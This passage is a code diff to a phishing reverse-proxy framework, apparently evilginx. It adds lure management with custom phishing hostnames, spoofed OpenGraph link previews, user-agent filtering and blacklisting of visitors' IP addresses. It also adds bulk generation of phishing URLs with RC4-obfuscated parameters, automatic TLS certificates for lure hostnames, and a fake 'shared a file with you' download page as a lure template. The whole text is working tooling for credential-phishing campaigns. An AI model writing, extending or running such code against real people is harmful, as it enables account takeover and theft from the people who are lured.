h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit og_desc <id> <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit og_image <id> <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url <id> <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "params"}, "edit params <id> <key=value>", "adds, edits or removes custom parameters (used in javascript injections), for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
|
||||
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
|
||||
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "template"}, "edit <id> template <path>", "sets an html template <path> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit <id> ua_filter <regexp>", "sets a regular expression user-agent whitelist filter <regexp> for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit <id> redirect_url <redirect_url>", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit <id> phishlet <phishlet>", "change the phishlet, the lure with a given <id> applies to")
|
||||
h.AddSubCommand("lures", []string{"edit", "info"}, "edit <id> info <info>", "set personal information to describe a lure with a given <id> (display only)")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit <id> og_title <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit <id> og_des <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit <id> og_image <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
|
||||
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit <id> og_url <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
|
||||
|
||||
h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP,
|
||||
readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("off")))
|
||||
|
||||
h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode")
|
||||
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
|
||||
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
|
||||
h.AddSubCommand("blacklist", []string{"off"}, "off", "never add any ip addresses to blacklist")
|
||||
|
||||
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
|
||||
readline.PcItem("clear"))
|
||||
@ -825,7 +1092,7 @@ func (t *Terminal) checkStatus() {
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Terminal) updateCertificates(site string) {
|
||||
func (t *Terminal) updatePhishletCertificates(site string) {
|
||||
for _, s := range t.cfg.GetEnabledSites() {
|
||||
if site == "" || s == site {
|
||||
pl, err := t.cfg.GetPhishlet(s)
|
||||
@ -837,7 +1104,7 @@ func (t *Terminal) updateCertificates(site string) {
|
||||
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'", s)
|
||||
} else {
|
||||
log.Info("setting up certificates for phishlet '%s'...", s)
|
||||
err = t.crt_db.SetupCertificate(s, pl.GetPhishHosts())
|
||||
err = t.crt_db.SetupPhishletCertificate(s, pl.GetPhishHosts())
|
||||
if err != nil {
|
||||
log.Fatal("%v", err)
|
||||
t.cfg.SetSiteDisabled(s)
|
||||
@ -849,6 +1116,38 @@ func (t *Terminal) updateCertificates(site string) {
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Terminal) updateLuresCertificates() {
|
||||
for n, l := range t.cfg.lures {
|
||||
if l.Hostname != "" {
|
||||
err := t.updateHostCertificate(l.Hostname)
|
||||
if err != nil {
|
||||
log.Info("clearing hostname for lure %d", n)
|
||||
l.Hostname = ""
|
||||
err := t.cfg.SetLure(n, l)
|
||||
if err != nil {
|
||||
log.Error("edit: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Terminal) updateHostCertificate(hostname string) error {
|
||||
|
||||
if t.developer {
|
||||
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for hostname '%s'", hostname)
|
||||
} else {
|
||||
log.Info("setting up certificates for hostname '%s'...", hostname)
|
||||
err := t.crt_db.SetupHostnameCertificate(hostname)
|
||||
if err != nil {
|
||||
return err
|
||||
} else {
|
||||
log.Success("successfully set up SSL/TLS certificates for hostname: %s", hostname)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Terminal) sprintPhishletStatus(site string) string {
|
||||
higreen := color.New(color.FgHiGreen)
|
||||
hired := color.New(color.FgHiRed)
|
||||
@ -884,13 +1183,15 @@ func (t *Terminal) sprintPhishletStatus(site string) string {
|
||||
|
||||
func (t *Terminal) sprintLures() string {
|
||||
higreen := color.New(color.FgHiGreen)
|
||||
green := color.New(color.FgGreen)
|
||||
//hired := color.New(color.FgHiRed)
|
||||
hiblue := color.New(color.FgHiBlue)
|
||||
yellow := color.New(color.FgYellow)
|
||||
hiwhite := color.New(color.FgHiWhite)
|
||||
cyan := color.New(color.FgCyan)
|
||||
hcyan := color.New(color.FgHiCyan)
|
||||
white := color.New(color.FgHiWhite)
|
||||
//n := 0
|
||||
cols := []string{"id", "phishlet", "path", "redirect_url", "og", "params", "info"}
|
||||
cols := []string{"id", "phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "og"}
|
||||
var rows [][]string
|
||||
for n, l := range t.cfg.lures {
|
||||
var og string
|
||||
@ -914,11 +1215,7 @@ func (t *Terminal) sprintLures() string {
|
||||
} else {
|
||||
og += "-"
|
||||
}
|
||||
params := "0"
|
||||
if len(l.Params) > 0 {
|
||||
params = hiwhite.Sprint(strconv.Itoa(len(l.Params)))
|
||||
}
|
||||
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), og, params, l.Info})
|
||||
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
|
||||
}
|
||||
return AsTable(cols, rows)
|
||||
}
|
||||
@ -927,6 +1224,311 @@ func (t *Terminal) phishletPrefixCompleter(args string) []string {
|
||||
return t.cfg.GetPhishletNames()
|
||||
}
|
||||
|
||||
func (t *Terminal) templatesPrefixCompleter(args string) []string {
|
||||
dir := t.cfg.GetTemplatesDir()
|
||||
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
var ret []string
|
||||
for _, f := range files {
|
||||
if strings.HasSuffix(f.Name(), ".html") || strings.HasSuffix(f.Name(), ".htm") {
|
||||
name := f.Name()
|
||||
if strings.Contains(name, " ") {
|
||||
name = "\"" + name + "\""
|
||||
}
|
||||
ret = append(ret, name)
|
||||
}
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
func (t *Terminal) luresIdPrefixCompleter(args string) []string {
|
||||
var ret []string
|
||||
for n, _ := range t.cfg.lures {
|
||||
ret = append(ret, strconv.Itoa(n))
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
func (t *Terminal) importParamsFromFile(base_url string, path string) ([]string, []map[string]string, error) {
|
||||
var ret []string
|
||||
var ret_params []map[string]string
|
||||
|
||||
f, err := os.OpenFile(path, os.O_RDONLY, 0644)
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
var format string = "text"
|
||||
if filepath.Ext(path) == ".csv" {
|
||||
format = "csv"
|
||||
} else if filepath.Ext(path) == ".json" {
|
||||
format = "json"
|
||||
}
|
||||
|
||||
log.Info("importing parameters file as: %s", format)
|
||||
|
||||
switch format {
|
||||
case "text":
|
||||
fs := bufio.NewScanner(f)
|
||||
fs.Split(bufio.ScanLines)
|
||||
|
||||
n := 0
|
||||
for fs.Scan() {
|
||||
n += 1
|
||||
l := fs.Text()
|
||||
// remove comments
|
||||
if n := strings.Index(l, ";"); n > -1 {
|
||||
l = l[:n]
|
||||
}
|
||||
l = strings.Trim(l, " ")
|
||||
|
||||
if len(l) > 0 {
|
||||
args, err := parser.Parse(l)
|
||||
if err != nil {
|
||||
log.Error("syntax error at line %d: [%s] %v", n, l, err)
|
||||
continue
|
||||
}
|
||||
|
||||
params := url.Values{}
|
||||
map_params := make(map[string]string)
|
||||
for _, val := range args {
|
||||
sp := strings.Index(val, "=")
|
||||
if sp == -1 {
|
||||
log.Error("invalid parameter syntax at line %d: [%s]", n, val)
|
||||
continue
|
||||
}
|
||||
k := val[:sp]
|
||||
v := val[sp+1:]
|
||||
|
||||
params.Add(k, v)
|
||||
map_params[k] = v
|
||||
}
|
||||
|
||||
if len(params) > 0 {
|
||||
ret = append(ret, t.createPhishUrl(base_url, ¶ms))
|
||||
ret_params = append(ret_params, map_params)
|
||||
}
|
||||
}
|
||||
}
|
||||
case "csv":
|
||||
r := csv.NewReader(bufio.NewReader(f))
|
||||
|
||||
param_names, err := r.Read()
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
|
||||
var params []string
|
||||
for params, err = r.Read(); err == nil; params, err = r.Read() {
|
||||
if len(params) != len(param_names) {
|
||||
log.Error("number of csv values do not match number of keys: %v", params)
|
||||
continue
|
||||
}
|
||||
|
||||
item := url.Values{}
|
||||
map_params := make(map[string]string)
|
||||
for n, param := range params {
|
||||
item.Add(param_names[n], param)
|
||||
map_params[param_names[n]] = param
|
||||
}
|
||||
if len(item) > 0 {
|
||||
ret = append(ret, t.createPhishUrl(base_url, &item))
|
||||
ret_params = append(ret_params, map_params)
|
||||
}
|
||||
}
|
||||
if err != io.EOF {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
case "json":
|
||||
data, err := ioutil.ReadAll(bufio.NewReader(f))
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
|
||||
var params_json []map[string]interface{}
|
||||
|
||||
err = json.Unmarshal(data, ¶ms_json)
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
|
||||
for _, json_params := range params_json {
|
||||
item := url.Values{}
|
||||
map_params := make(map[string]string)
|
||||
for k, v := range json_params {
|
||||
if val, ok := v.(string); ok {
|
||||
item.Add(k, val)
|
||||
map_params[k] = val
|
||||
} else {
|
||||
log.Error("json parameter '%s' value must be of type string", k)
|
||||
}
|
||||
}
|
||||
if len(item) > 0 {
|
||||
ret = append(ret, t.createPhishUrl(base_url, &item))
|
||||
ret_params = append(ret_params, map_params)
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
r := json.NewDecoder(bufio.NewReader(f))
|
||||
|
||||
t, err := r.Token()
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
if s, ok := t.(string); ok && s == "[" {
|
||||
for r.More() {
|
||||
t, err := r.Token()
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
|
||||
if s, ok := t.(string); ok && s == "{" {
|
||||
for r.More() {
|
||||
t, err := r.Token()
|
||||
if err != nil {
|
||||
return ret, ret_params, err
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return ret, ret_params, fmt.Errorf("array of parameters not found")
|
||||
}*/
|
||||
}
|
||||
return ret, ret_params, nil
|
||||
}
|
||||
|
||||
func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phish_params []map[string]string, format string) error {
|
||||
if len(phish_urls) != len(phish_params) {
|
||||
return fmt.Errorf("phishing urls and phishing parameters count do not match")
|
||||
}
|
||||
if !stringExists(format, []string{"text", "csv", "json"}) {
|
||||
return fmt.Errorf("export format can only be 'text', 'csv' or 'json'")
|
||||
}
|
||||
|
||||
f, err := os.OpenFile(export_path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if format == "text" {
|
||||
for n, phish_url := range phish_urls {
|
||||
var params string
|
||||
m := 0
|
||||
params_row := phish_params[n]
|
||||
for k, v := range params_row {
|
||||
if m > 0 {
|
||||
params += " "
|
||||
}
|
||||
params += fmt.Sprintf("%s=\"%s\"", k, v)
|
||||
m += 1
|
||||
}
|
||||
|
||||
_, err := f.WriteString(phish_url + " ; " + params + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
} else if format == "csv" {
|
||||
var data [][]string
|
||||
|
||||
w := csv.NewWriter(bufio.NewWriter(f))
|
||||
|
||||
var cols []string
|
||||
var param_names []string
|
||||
cols = append(cols, "url")
|
||||
for _, params_row := range phish_params {
|
||||
for k, _ := range params_row {
|
||||
if !stringExists(k, param_names) {
|
||||
cols = append(cols, k)
|
||||
param_names = append(param_names, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
data = append(data, cols)
|
||||
|
||||
for n, phish_url := range phish_urls {
|
||||
params := phish_params[n]
|
||||
|
||||
var vals []string
|
||||
vals = append(vals, phish_url)
|
||||
|
||||
for _, k := range param_names {
|
||||
vals = append(vals, params[k])
|
||||
}
|
||||
|
||||
data = append(data, vals)
|
||||
}
|
||||
|
||||
err := w.WriteAll(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else if format == "json" {
|
||||
type UrlItem struct {
|
||||
PhishUrl string `json:"url"`
|
||||
Params map[string]string `json:"params"`
|
||||
}
|
||||
|
||||
var items []UrlItem
|
||||
|
||||
for n, phish_url := range phish_urls {
|
||||
params := phish_params[n]
|
||||
|
||||
item := UrlItem{
|
||||
PhishUrl: phish_url,
|
||||
Params: params,
|
||||
}
|
||||
|
||||
items = append(items, item)
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(items, "", "\t")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = f.WriteString(string(data))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string {
|
||||
var ret string = base_url
|
||||
if len(*params) > 0 {
|
||||
key_arg := GenRandomString(rand.Intn(3) + 1)
|
||||
|
||||
enc_key := GenRandomAlphanumString(8)
|
||||
dec_params := params.Encode()
|
||||
|
||||
var crc byte
|
||||
for _, c := range dec_params {
|
||||
crc += byte(c)
|
||||
}
|
||||
|
||||
c, _ := rc4.NewCipher([]byte(enc_key))
|
||||
enc_params := make([]byte, len(dec_params)+1)
|
||||
c.XORKeyStream(enc_params[1:], []byte(dec_params))
|
||||
enc_params[0] = crc
|
||||
|
||||
key_val := enc_key + base64.RawURLEncoding.EncodeToString([]byte(enc_params))
|
||||
ret += "?" + key_arg + "=" + key_val
|
||||
}
|
||||
return ret
|
||||
}
|
||||
|
||||
func (t *Terminal) sprintVar(k string, v string) string {
|
||||
vc := color.New(color.FgYellow)
|
||||
return k + ": " + vc.Sprint(v)
|
||||
|
@ -26,6 +26,17 @@ func GenRandomString(n int) string {
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func GenRandomAlphanumString(n int) string {
|
||||
const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
t := make([]byte, 1)
|
||||
rand.Read(t)
|
||||
b[i] = lb[int(t[0])%len(lb)]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func CreateDir(path string, perm os.FileMode) error {
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
err = os.Mkdir(path, perm)
|
||||
|
2
go.mod
2
go.mod
@ -13,6 +13,7 @@ require (
|
||||
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
|
||||
github.com/mattn/go-colorable v0.1.4 // indirect
|
||||
github.com/miekg/dns v1.1.22
|
||||
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8
|
||||
github.com/spf13/viper v1.4.0
|
||||
github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 // indirect
|
||||
github.com/tidwall/buntdb v1.1.0
|
||||
@ -20,4 +21,5 @@ require (
|
||||
github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb // indirect
|
||||
github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e // indirect
|
||||
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 // indirect
|
||||
golang.org/x/net v0.0.0-20200707034311-ab3426394381
|
||||
)
|
||||
|
9
go.sum
9
go.sum
@ -95,6 +95,7 @@ github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfb
|
||||
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs=
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
|
||||
@ -177,6 +178,8 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJ
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8 h1:BhQQWYKJwXPtAhm12d4gQU4LKS9Yov22yOrDc2QA7ho=
|
||||
github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8/go.mod h1:ntWhh7pzdiiRKBMxUB5iG+Q2gmZBxGxpX1KyK6N8kX8=
|
||||
github.com/namedotcom/go v0.0.0-20180403034216-08470befbe04/go.mod h1:5sN+Lt1CaY4wsPvgQH/jsuJi4XO2ssZbdsIizr4CVC8=
|
||||
github.com/nbio/st v0.0.0-20140626010706-e9e8d9816f32/go.mod h1:9wM+0iRr9ahx58uYLpLIr5fm8diHn0JbqRycJi6w0Ms=
|
||||
github.com/nrdcg/auroradns v1.0.0/go.mod h1:6JPXKzIRzZzMqtTDgueIhTi6rFf1QvYE/HzqidhOhjw=
|
||||
@ -292,6 +295,8 @@ golang.org/x/crypto v0.0.0-20190418165655-df01cb2cc480/go.mod h1:WFFai1msRO1wXaE
|
||||
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392 h1:ACG4HJsFiNMf47Y4PeRoebLNy/2lXT9EtprMuTFWt1M=
|
||||
golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
@ -316,6 +321,8 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL
|
||||
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190930134127-c5a3c61f89f3 h1:6KET3Sqa7fkVfD63QnAM81ZeYg5n4HwApOJkufONnHA=
|
||||
golang.org/x/net v0.0.0-20190930134127-c5a3c61f89f3/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200707034311-ab3426394381 h1:VXak5I6aEWmAXeQjA+QSZzlgNrpq9mjcfDemuexIKsU=
|
||||
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
@ -343,6 +350,8 @@ golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe h1:6fAMxZRR6sl1Uq8U61gxU+kPTs2tR8uOySCbBP7BN/M=
|
||||
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd h1:xhmwyvizuTgC2qz7ZlMluP20uW+C3Rm0FD/WLDX8884=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
|
25
main.go
25
main.go
@ -14,6 +14,7 @@ import (
|
||||
)
|
||||
|
||||
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
|
||||
var templates_dir = flag.String("t", "", "HTML templates directory path")
|
||||
var debug_log = flag.Bool("debug", false, "Enable debug output")
|
||||
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
|
||||
var cfg_dir = flag.String("c", "", "Configuration directory path")
|
||||
@ -44,10 +45,23 @@ func main() {
|
||||
}
|
||||
}
|
||||
}
|
||||
if *templates_dir == "" {
|
||||
*templates_dir = joinPath(exe_dir, "./templates")
|
||||
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
|
||||
*templates_dir = "/usr/share/evilginx/templates/"
|
||||
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
|
||||
*templates_dir = joinPath(exe_dir, "./templates")
|
||||
}
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
||||
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(*templates_dir); os.IsNotExist(err) {
|
||||
os.MkdirAll(*templates_dir, os.FileMode(0700))
|
||||
}
|
||||
|
||||
log.DebugEnable(*debug_log)
|
||||
if *debug_log {
|
||||
log.Info("debug output enabled")
|
||||
@ -86,6 +100,7 @@ func main() {
|
||||
log.Fatal("config: %v", err)
|
||||
return
|
||||
}
|
||||
cfg.SetTemplatesDir(*templates_dir)
|
||||
|
||||
db, err := database.NewDatabase(filepath.Join(*cfg_dir, "data.db"))
|
||||
if err != nil {
|
||||
@ -93,6 +108,12 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
bl, err := core.NewBlacklist(filepath.Join(*cfg_dir, "blacklist.txt"))
|
||||
if err != nil {
|
||||
log.Error("blacklist: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
files, err := ioutil.ReadDir(phishlets_path)
|
||||
if err != nil {
|
||||
log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
|
||||
@ -129,10 +150,10 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, *developer_mode)
|
||||
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, *developer_mode)
|
||||
hp.Start()
|
||||
|
||||
t, err := core.NewTerminal(cfg, crt_db, db, *developer_mode)
|
||||
t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode)
|
||||
if err != nil {
|
||||
log.Fatal("%v", err)
|
||||
return
|
||||
|
61
templates/download_example.html
Normal file
61
templates/download_example.html
Normal file
@ -0,0 +1,61 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>{from_name} shared a file with you (1)</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||
|
||||
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
|
||||
<style>
|
||||
|
||||
body {
|
||||
background-color: #666;
|
||||
}
|
||||
|
||||
#box {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
text-align: center;
|
||||
background-color: #fff;
|
||||
padding: 40px 40px;
|
||||
transform: translate(-50%, -50%);
|
||||
border-radius: 16px;
|
||||
-webkit-box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
|
||||
-moz-box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
|
||||
box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
|
||||
}
|
||||
|
||||
.message {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
.download {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="box">
|
||||
<div class="message">
|
||||
<p><strong>{from_name}</strong> shared a file with you.</p>
|
||||
</div>
|
||||
<div class="download">
|
||||
<button type="button" class="btn btn-primary btn-lg" onclick="clickedDownload()">Download "{filename}"</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function clickedDownload() {
|
||||
window.location.assign({lure_url_js});
|
||||
}
|
||||
</script>
|
||||
|
||||
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
|
||||
